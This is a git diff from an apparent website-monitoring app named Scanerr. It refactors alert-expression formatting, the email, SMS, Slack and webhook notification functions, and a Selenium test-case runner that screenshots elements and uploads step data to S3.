+            title = 'PWA Delta'
+            data = str(item.lighthouse_delta["scores"]["pwa_delta"])
         elif 'crux_delta' in e['data_type']:
-            data_type = 'CRUX Delta:\t'+str(item.lighthouse_delta["scores"]["crux_delta"])+'\n\t'
+            title = 'CRUX Delta'
+            data = str(item.lighthouse_delta["scores"]["crux_delta"])
         elif 'best_practices_delta' in e['data_type']:
-            data_type = 'Best Practices Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t'
+            title = 'Best Practices Delta'
+            data = str(item.lighthouse_delta["scores"]["best_practices_delta"])
         elif 'performance_delta' in e['data_type']:
-            data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t'
+            title = 'Performance Delta'
+            data = str(item.lighthouse_delta["scores"]["performance_delta"])
         elif 'accessibility_delta' in e['data_type']:
-            data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t'
-        
+            title = 'Accessibility Delta'
+            data = str(item.lighthouse_delta["scores"]["accessibility_delta"])
+
         # LH scan data
         elif 'lighthouse_average' in e['data_type']:
-            data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t'
+            title = 'Lighthouse Average'
+            data = str(item.lighthouse["scores"]["average"])
         elif 'seo' in e['data_type']:
-            data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t'
+            title = 'SEO'
+            data = str(item.lighthouse["scores"]["seo"])
         elif 'pwa' in e['data_type']:
-            data_type = 'PWA:\t'+str(item.lighthouse["scores"]["pwa"])+'\n\t'
+            title = 'PWA'
+            data = str(item.lighthouse["scores"]["pwa"])
         elif 'crux' in e['data_type']:
-            data_type = 'CRUX:\t'+str(item.lighthouse["scores"]["crux"])+'\n\t'
+            title = 'CRUX'
+            data = str(item.lighthouse["scores"]["crux"])
         elif 'best_practices' in e['data_type']:
-            data_type = 'Best Practices:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t'
+            title = 'Best Practices'
+            data = str(item.lighthouse["scores"]["best_practices"])
         elif 'performance' in e['data_type']:
-            data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t'
+            title = 'Performance'
+            data = str(item.lighthouse["scores"]["performance"])
         elif 'accessibility' in e['data_type']:
-            data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t'
+            title = 'Accessibility'
+            data = str(item.lighthouse["scores"]["accessibility"])
         
         # yellowlab test data
         elif 'current_yellowlab_average' in e['data_type']:
-            data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t'
+            title = 'Yellow Lab Avg'
+            data = str(item.yellowlab_delta["scores"]["current_average"])
         elif 'pageWeight_delta' in e['data_type']:
-            data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t'
+            title = 'Page Weight Delta'
+            data = str(item.yellowlab_delta["scores"]["pageWeight_delta"])
         elif 'images_delta' in e['data_type']:
-            data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["images_delta"])+'\n\t'
+            title = 'Images Delta'
+            data = str(item.yellowlab_delta["scores"]["images_delta"])
         elif 'domComplexity_delta' in e['data_type']:
-            data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t'
+            title = 'DOM Complex. Delta'
+            data = str(item.yellowlab_delta["scores"]["domComplexity_delta"])
         elif 'javascriptComplexity_delta' in e['data_type']:
-            data_type = 'JS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])+'\n\t'
+            title = 'JS Complex. Delta'
+            data = str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])
         elif 'badJavascript_delta' in e['data_type']:
-            data_type = 'Bad JS Delta:\t'+str(item.yellowlab_delta["scores"]["badJavascript_delta"])+'\n\t'
+            title = 'Bad JS Delta'
+            data = str(item.yellowlab_delta["scores"]["badJavascript_delta"])
         elif 'jQuery_delta' in e['data_type']:
-            data_type = 'jQuery Delta:\t'+str(item.yellowlab_delta["scores"]["jQuery_delta"])+'\n\t'
+            title = 'jQuery Delta'
+            data = str(item.yellowlab_delta["scores"]["jQuery_delta"])
         elif 'cssComplexity_delta' in e['data_type']:
-            data_type = 'CSS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["cssComplexity_delta"])+'\n\t'
+            title = 'CSS Complex. Delta'
+            data = str(item.yellowlab_delta["scores"]["cssComplexity_delta"])
         elif 'badCSS_delta' in e['data_type']:
-            data_type = 'Bad CSS Delta:\t'+str(item.yellowlab_delta["scores"]["badCSS_delta"])+'\n\t'
+            title = 'Bad CSS Delta'
+            data = str(item.yellowlab_delta["scores"]["badCSS_delta"])
         elif 'fonts_delta' in e['data_type']:
-            data_type = 'Fonts Delta:\t'+str(item.yellowlab_delta["scores"]["fonts_delta"])+'\n\t'
+            title = 'Fonts Delta'
+            data = str(item.yellowlab_delta["scores"]["fonts_delta"])
         elif 'serverConfig_delta' in e['data_type']:
-            data_type = 'Server Config Delta:\t'+str(item.yellowlab_delta["scores"]["serverConfig_delta"])+'\n\t'
+            title = 'Server Config Delta'
+            data = str(item.yellowlab_delta["scores"]["serverConfig_delta"])
 
         # yellowlab scan data
         elif 'yellowlab_average' in e['data_type']:
-            data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t'
+            title = 'Yellow Lab Avg'
+            data = str(item.yellowlab["scores"]["globalScore"])
         elif 'pageWeight' in e['data_type']:
-            data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t'
+            title = 'Page Weight'
+            data = str(item.yellowlab["scores"]["pageWeight"])
         elif 'images' in e['data_type']:
-            data_type = 'Requests:\t'+str(item.yellowlab["scores"]["images"])+'\n\t'
+            title = 'Images'
+            data = str(item.yellowlab["scores"]["images"])
         elif 'domComplexity' in e['data_type']:
-            data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t'
+            title = 'DOM Complex.'
+            data = str(item.yellowlab["scores"]["domComplexity"])
         elif 'javascriptComplexity' in e['data_type']:
-            data_type = 'JS Complex.:\t'+str(item.yellowlab["scores"]["javascriptComplexity"])+'\n\t'
+            title = 'JS Complex.'
+            data = str(item.yellowlab["scores"]["javascriptComplexity"])  
         elif 'badJavascript' in e['data_type']:
-            data_type = 'Bad JS:\t'+str(item.yellowlab["scores"]["badJavascript"])+'\n\t'
+            title = 'Bad JS.'
+            data = str(item.yellowlab["scores"]["badJavascript"])
         elif 'jQuery' in e['data_type']:
-            data_type = 'jQuery:\t'+str(item.yellowlab["scores"]["jQuery"])+'\n\t'
+            title = 'jQuery'
+            data = str(item.yellowlab["scores"]["jQuery"])
         elif 'cssComplexity' in e['data_type']:
-            data_type = 'CSS Complex.:\t'+str(item.yellowlab["scores"]["cssComplexity"])+'\n\t'
+            title = 'CSS Complex'
+            data = str(item.yellowlab["scores"]["cssComplexity"])
         elif 'badCSS' in e['data_type']:
-            data_type = 'Bad CSS:\t'+str(item.yellowlab["scores"]["badCSS"])+'\n\t'
+            title = 'Bad CSS.'
+            data = str(item.yellowlab["scores"]["badCSS"])
         elif 'fonts' in e['data_type']:
-            data_type = 'Fonts:\t'+str(item.yellowlab["scores"]["fonts"])+'\n\t'
+            title = 'Fonts'
+            data = str(item.yellowlab["scores"]["fonts"])
         elif 'serverConfig' in e['data_type']:
-            data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t'
+            title = 'Server Config.'
+            data = str(item.yellowlab["scores"]["serverConfig"])
         
         # image data
         elif 'avg_image_score' in e['data_type']:
-            data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t'
+            title = 'Avg Image Score'
+            data = str(item.images_delta["average_score"])
         elif 'image_scores' in e['data_type']:
-            data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' 
+            title = 'List of Image Scores'
+            data = str([i["score"] for i in item.images_delta["images"]])
         
         # logs data
         elif 'logs' in e['data_type']:
-            data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t'
+            title = 'Error Logs'
+            data = str(len(item.logs))
 
         # testcase data
         elif 'testcase' in e['data_type']:
-            status = 'Failed'
+            status = '❌ FAILED'
             if e['value'] == 'True':
-                status = 'Passed'
-            data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status)
+                status = '✅ PASSED'
+            title = f'"{item.case.name}"'
+            data = status
         
+        # create data string
+        data_str = f' {title}:   {data}\n'
+        exp_str += data_str
         
         # add to exp_list
-        exp_list.append(data_type)
-
+        exp_list.append({
+            'title': title,
+            'data': data
+        })
 
     # formating return data
     data = {
         'exp_list': exp_list,
-        'exp_str': ('\t'+''.join(exp_list))
+        'exp_str': exp_str,
     }
 
     return data
@@ -523,16 +584,10 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         # retrieving user
         user = User.objects.get(email=email)
 
-        # get automation and deciding if "page" or "site" scope
+        # get automation 
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
-
+    
         # getting object
         data = get_item(object_id=object_id)
         if not data['success']:
@@ -542,6 +597,14 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         item = data['item']
         item_type = data['item_type']
 
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        else:
+            url = item.page.page_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+
         # generating expressions from automation
         exp_list = create_exp(
             item=item, 
@@ -549,17 +612,18 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         )['exp_list']
 
         # build email data
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
+        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{str(item.id)}'
         subject = f'Alert for {url}'
         title = f'Alert for {url}'
         pre_header = f'Alert for {url}'
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
-            f'Below are the current stats:\n'
+            f'Below are the current stats:'
         )
         content = (
             f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'You can change the automation and schedule in your '
+            f'<a href="{dash_link}">dashboard</a>.'
         )
 
         context = {
@@ -570,7 +634,7 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
             'exp_list': exp_list,
             'object_url' : object_url,
             'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'button_text' : 'View Site Dashboard',
+            'button_text' : f'View {item_type}',
             'content' : content,
             'email': email,
             'signature' : '- Cheers!',
@@ -618,33 +682,29 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
         # get automation and deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
         
         # get `Report` if exists
         try:
-            item = Report.objects.get(id=uuid.UUID(object_id))
+            report = Report.objects.get(id=uuid.UUID(object_id))
             item_type = 'Report'
+            url = report.page.page_url
         except:
             return {'success': False}
 
         # build email data
-        exp_list = ''
-        object_url = str(item.path)
+        object_url = str(report.path)
         subject = f'Report for {url}'
         title = f'Report for {url}'
         pre_header = f'Report for {url}'
         pre_content = (
-            f'Scanerr just finished creating a {item_type} for {url}. ' 
-            f'Please click the link below to access and download the report.\n'
+            f'Scanerr just finished creating a ' 
+            f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}/report">Report</a> for {url}. '
+            f'Please click the link below to access and download the PDF.'
         )
         content = (
-            f'This message was triggered by an automation created with Scanerr. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'\nThis message was triggered by an automation created with Scanerr. ' 
+            f'You can change the automation and schedule in your ' 
+            f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}">dashboard</a>.'
         )
 
         context = {
@@ -652,9 +712,8 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
             'subject': subject,
             'pre_header' : pre_header,
             'pre_content' : pre_content,
-            'exp_list': exp_list,
             'object_url' : object_url,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'home_page' : settings.CLIENT_URL_ROOT,
             'button_text' : 'View Report',
             'content' : content,
             'email': email,
@@ -663,7 +722,6 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
 
         # send email
         sendgrid_email(message_obj=context)
-
         data = {
             'success': True
         }
@@ -708,12 +766,6 @@ def automation_webhook(
         # deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -723,6 +775,12 @@ def automation_webhook(
         # get object and type
         item = data['item']
         item_type = data['item_type']
+
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+        else:
+            url = item.page.page_url
         
         # building json
         pre_json_data = json.loads(request_data)
@@ -770,15 +828,9 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
     # checking if data is present
     if phone_number and automation_id and object_id:
 
-        # deciding on "page" or "site" scope
+        # getting schedule and automation
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -789,20 +841,29 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
         item = data['item']
         item_type = data['item_type']
 
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        else:
+            url = item.page.page_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+
         # build the exp_str
         exp_str = create_exp(item=item, automation=automation)['exp_str']
 
         # build message data
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
+        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{item.id}'
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
-            f'Below are the current stats:\n\n\t{exp_str}\n'
+            f'Below are the current stats:\n\n{exp_str}\n'
+            f'View {item_type}: {object_url}\n\n'
         )
         content = (
             f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'You can change the automation and schedule in your dashboard: {dash_link}'
         )
-        body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
+        body = f'Hi there,\n\n{pre_content}{content}'
         account_sid = os.environ.get("TWILIO_SID")
         auth_token  = os.environ.get("TWILIO_AUTH_TOKEN")
         client = Client(account_sid, auth_token)
@@ -845,16 +906,10 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
     # check if data is present
     if automation_id and object_id:
         
-        # getting account and deciding on "page" or "site" scope
+        # getting schedule, account and automation
         automation = Automation.objects.get(id=automation_id)
         account = Account.objects.get(user=automation.user)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -865,20 +920,30 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
         item = data['item']
         item_type = data['item_type']
 
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        else:
+            url = item.page.page_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+
         # build exp_str
         exp_str = create_exp(item=item, automation=automation)['exp_str']
 
         # build message data
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
+        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type}/{item.id}'
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {url}. ' 
-            f'Below are the current stats:\n\n\t{exp_str}\n'
+            f'Scanerr just finished running a `{item_type}` for {url}. ' 
+            f'Below are the current stats:\n\n```{exp_str}```\n'
+            f'<{object_url}|*View {item_type}*>\n\n'
         )
         content = (
             f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'You can change the automation and schedule in your '
+            f'<{dash_link}|dashboard>.'
         )
-        body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
+        body = f'Hi there,\n\n{pre_content}{content}'
         token = account.slack['bot_access_token']
         channel = account.slack['slack_channel_id']
         client = WebClient(token=token) 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 6b3ce518..03c1c1a9 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -30,12 +30,12 @@ class AutoCaser():
 
     def __init__(
             self, 
-            site: object,
-            process: object,
-            start_url: str=None,
-            configs: dict=settings.CONFIGS,
-            max_cases: int=4, 
-            max_layers: int=5,
+            site        : object,
+            process     : object,
+            start_url   : str=None,
+            configs     : dict=settings.CONFIGS,
+            max_cases   : int=4, 
+            max_layers  : int=5,
         ):
          
         # main objects & configs
@@ -171,7 +171,7 @@ def update_process(
             total: int, 
             complete: bool=False, 
             exception: str=None
-        ) -> object:
+        ) -> None:
         # calculate the current progress of the
         # task based on current iteration and total 
         # iterations expected
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 6551b898..83f9ae5e 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -97,13 +97,16 @@ def build_exp_list(self) -> None:
             if self.object:
                 
                 # get comparison value
-                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
+                if self.automation.schedule.task_type != 'testcase' and expression['data_type'] != 'test_status':
+                    value = str(float(re.search(r'\d+', str(expression['value'])).group()))
 
                 # get operator
                 if '>=' in expression['operator']:
                     operator = ' >= '
-                else:
+                elif '<=' in expression['operator']:
                     operator = ' <= '
+                else:
+                    operator = ' == '
                 
                 # get joiner
                 if 'and' in expression['joiner']:
@@ -124,6 +127,8 @@ def build_exp_list(self) -> None:
             elif 'image_scores' in expression['data_type']:
                 data_type = '[i["score"] for i in self.object.images_delta["images"]]' 
                 exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
+            elif 'test_status' in expression['data_type']:
+                data_type = 'self.object.status' 
 
             # high-level scan data
             elif 'health' in expression['data_type']:
@@ -235,34 +240,43 @@ def build_act_list(self) -> None:
         for action in self.automation.actions:
 
             if 'slack' in action['action_type']:
-                action_type = f"\n  print('sending slack alert')\
-                    \n  automation_slack(automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
+                action_type = str(
+                    f"\n  print('sending slack alert')" +
+                    f"\n  automation_slack(automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
             
             if 'webhook' in action['action_type']:
-                action_type = f"\n  print('sending webhook alert')\
-                    \n  automation_webhook(request_type='{action['request']}', \
-                    request_url='{action['url']}', request_data='{action['json']}', \
-                    automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
-            
+                action_type = str(
+                    f"\n  print('sending webhook alert')" +
+                    f"\n  automation_webhook(request_type='{action['request']}'," +
+                    f" request_url='{action['url']}', request_data='{action['json']}'," +
+                    f" automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
+
             if 'email' in action['action_type']:
-                action_type = f"\n  print('sending email alert')\
-                    \n  automation_email(email='{action['email']}',\
-                    automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
-                
+                action_type = str(
+                    f"\n  print('sending email alert')" +
+                    f"\n  automation_email(email='{action['email']}'," +
+                    f" automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
                 if type(self.object).__name__ == 'Report':
-                    action_type = f"\n  print('sending report email')\
-                        \n  automation_report_email(email='{action['email']}',\
-                        automation_id='{str(self.automation.id)}', \
-                        object_id='{str(self.object_id)}')"
+                    action_type = str(
+                        f"\n  print('sending report email')" +
+                        f"\n  automation_report_email(email='{action['email']}'," +
+                        f" automation_id='{str(self.automation.id)}'," +
+                        f" object_id='{str(self.object_id)}')"
+                    )
             
             if 'phone' in action['action_type']:
-                action_type = f"\n  print('sending phone alert')\
-                    \n  automation_phone(phone_number='{action['phone']}', \
-                    automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
+                action_type = str(
+                    f"\n  print('sending phone alert')" +
+                    f"\n  automation_phone(phone_number='{action['phone']}'," +
+                    f" automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
 
             # adding action to act_list
             self.act_list.append(action_type)
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 472cdebf..ae179d28 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,6 +1,6 @@
 from .driver import driver_init, driver_wait, quit_driver
 from .issuer import Issuer
-import time, uuid, json, boto3, os
+import time, uuid, json, boto3, os, requests
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
 from ..models import * 
@@ -15,13 +15,16 @@
 
 class Caser():
     """ 
-    Run a `Testcase` for a specific `Site`.
+    Run a `Testcase` for a specific `Site` or 
+    gather element info for new `Case`.
 
     Expects: {
-        'testcase' : object,
+        'testcase'  : object,
+        'case'      : object,
     }
 
-    - Use `Caser.run()` to run case as Testcase
+    - Use `Caser.run()` to run Case as Testcase
+    - Use `Caser.pre_run()` to run gather element info for a new Case 
 
     Returns -> None
     """
@@ -29,12 +32,32 @@ class Caser():
 
 
 
-    def __init__(self, testcase: object=None):
+    def __init__(
+            self, 
+            case        : object=None, 
+            testcase    : object=None,
+            process     : object=None
+        ):
+       
+        # primary objects
         self.testcase = testcase
-        self.site_url = self.testcase.site.site_url
-        self.steps = self.testcase.steps
-        self.case_name = self.testcase.case.name
-        self.configs = self.testcase.configs
+        self.case = case
+        self.process = process
+        
+        # secondary objects
+        self.site_url = self.testcase.site.site_url if self.testcase else self.case.site.site_url
+        self.steps = self.testcase.steps if self.testcase else requests.get(self.case.steps['url']).json()
+        self.case_name = self.testcase.case.name if self.testcase else self.case.name
+        self.configs = self.testcase.configs if self.testcase else settings.CONFIGS
+
+        # init driver
+        self.driver = driver_init(
+            browser=self.configs.get('browser', 'chrome'),
+            window_size=self.configs.get('window_size'), 
+            device=self.configs.get('device')
+        )
+
+        # Selenium Keys reference
         self.s_keys = {
             '+':            Keys.ADD,
             'Alt':          Keys.ALT,
@@ -103,7 +126,47 @@ def update_testcase(
 
 
 
-    def format_element(self, element):
+    def update_process(
+            self, 
+            current: int, 
+            total: int, 
+            complete: bool=False, 
+        ) -> None:
+        """
+        Calculates the current progress of the
+        task based on current step and total 
+        number of steps expected - then updates self.process
+        with the info.
+
+        Expcets: {
+            current     : int, 
+            total       : int, 
+            complete    : bool=False, 
+        }
+
+        Returns -> None
+        """
+
+        final_progress = 90
+        progress = 0
+        success = False
+        if complete:
+            progress = 100
+            success = True
+        if not complete:
+            progress = float((current/total) * final_progress)
+
+        print(f'updating process --> {progress}%')
+        
+        # update Process obj
+        self.process.progress = progress
+        self.process.success = success
+        self.process.save()
+
+
+
+
+    def format_element(self, element: object) -> str:
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
 
@@ -151,7 +214,67 @@ def save_screenshot(self) -> str:
 
 
 
-    
+
+    def save_case_steps(self, steps: dict, case_id: str) -> dict:
+        """ 
+        Helper function that uploads the "steps" data to 
+        s3 bucket
+
+        Expects: {
+            'steps'   : dict, 
+            'case_id' : str
+        }
+
+        Returns -> data: {
+            'num_steps' : int,
+            'url'       : str
+        }
+        """
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # saving as json file temporarily
+        steps_id = uuid.uuid4()
+        with open(f'{steps_id}.json', 'w') as fp:
+            json.dump(steps, fp)
+        
+        # seting up paths
+        steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
+        remote_path = f'static/cases/{case_id}/{steps_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        steps_url = f'{root_path}/{remote_path}'
+
+        # upload to s3
+        with open(steps_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={
+                    'ACL': 'public-read', 
+                    'ContentType': 'application/json',
+                    'CacheControl': 'max-age=0'
+                }
+            )
+
+        # remove local copy
+        os.remove(steps_file)
+
+        # format data
+        data = {
+            'num_steps': len(steps),
+            'url': steps_url
+        }
+
+        # return response
+        return data
+
+
+
+
     def get_element(self, selector: str=None, xpath: str=None) -> object:
         """ 
         Tries to get element by selector first and 
@@ -218,6 +341,29 @@ def format_exception(self, exception: str) -> str:
     
 
 
+    def get_element_image(self, element: object) -> str:
+        """ 
+        Grabs a screenshot of the passed "element"
+        and returns image data as base64 str.
+
+        Expects: {
+            "element": object (REQUIRED)
+        }
+
+        Returns -> str (base64 encoded)
+        """
+
+        try:
+            image = element.screenshot_as_base64
+            # sleep for .5 seconds to let image process
+            time.sleep(.5)
+        except:
+            image = None
+        return image
+
+
+    
+
     def run(self) -> None:
         """
         Runs the self.testcase using selenium as the driver
@@ -248,6 +394,7 @@ def run(self) -> None:
                 self.driver.get(f'{self.site_url}')
                 time.sleep(int(self.configs['min_wait_time']))
 
+
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
@@ -282,7 +429,7 @@ def run(self) -> None:
                     image=image
                 )
 
-            
+
             if step['action']['type'] == 'scroll':
                 exception = None
                 passed = True
@@ -314,7 +461,7 @@ def run(self) -> None:
                     image=image
                 )
         
-            
+
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
@@ -359,6 +506,7 @@ def run(self) -> None:
                     image=image
                 )
         
+
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
@@ -404,6 +552,7 @@ def run(self) -> None:
                     image=image
                 )
 
+
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
@@ -458,6 +607,7 @@ def run(self) -> None:
                     image=image
                 )
 
+
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
@@ -510,6 +660,7 @@ def run(self) -> None:
                     image=image
                 )
             
+
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
@@ -566,6 +717,192 @@ def run(self) -> None:
         return None
 
 
-    
+
+
+    def pre_run(self) -> None:
+        """
+        Runs the self.case using selenium as the driver
+        and tries to collect element img data.
+
+        Returns -> None
+        """
+
+        print(f'beginning pre_run for Case {self.case_name}')
+
+        # setting implict wait_time for driver
+        self.driver.implicitly_wait(self.configs.get('max_wait_time'))
+
+        i = 0
+        for step in self.steps:
+            print(f'-- running step #{i+1} --')
+        
+            # adding catch if nav is not first
+            if i == 0 and step['action']['type'] != 'navigate':
+                print(f'navigating to {self.site_url} before first step')
+                # using selenium, navigate to site root path & wait for page to load
+                self.driver.get(f'{self.site_url}')
+                time.sleep(int(self.configs['min_wait_time']))
+
+
+            if step['action']['type'] == 'navigate':
+                try:
+                    print(f'navigating to {self.site_url}{step["action"]["path"]}')
+                    # using selenium, navigate to requested path & wait for page to load
+                    driver_wait(
+                        driver=self.driver, 
+                        interval=int(self.configs.get('interval', 1)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 3)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    self.driver.get(f'{self.site_url}{step["action"]["path"]}')
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                except Exception as e:
+                    print(e)
+
+            
+            if step['action']['type'] == 'scroll':
+                try:
+                    print(f'scrolling -> {step["action"]["value"]}')     
+                    # scrolling using plain JavaScript
+                    self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});')
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                
+                except Exception as e:
+                    print(e)
+        
+            
+            if step['action']['type'] == 'click':
+                try:
+                    print(f'clicking element -> {step["action"]["element"]}')
+                    # using selenium, find and click on the 'element' 
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+                                    
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get elem img & update self.steps
+                    img = self.get_element_image(element)
+                    self.steps[i]['action']['img'] = img
+
+                    # clicking element
+                    element.click()
